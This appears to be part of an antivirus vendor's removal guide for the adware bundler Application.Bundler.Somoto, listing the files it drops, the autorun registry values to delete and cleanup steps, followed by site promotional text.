C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\476c102f114c90c35685c4dc5c185fd7.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f0b958bbc632e24db943cd7dba06c8a0.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\e647908f01031f0a06d45ef2e4ceb7fd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\0283ef2f862ea5f2ae5cae99ac773276.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6d9764bf2f1ebb7c7a5d534fc7c16632.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\0eef184f9d7d9d08d251db13100a066e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\525a7c6c795fca7fdef91c72ee00442f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\17a138047c4306065d8d417a61aa83f2.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C0.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\4D90EAE405E9E2FF (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE791.tmp (5893 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\Mndaji.tmp (393891 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\xlinghf.dll (2092 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\lgtote.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\ukrfuo.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy6E4D.tmp\Txhzzaikvhn.exe (2191994 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.I_bbef8102d6

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.I_bbef8102d6

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet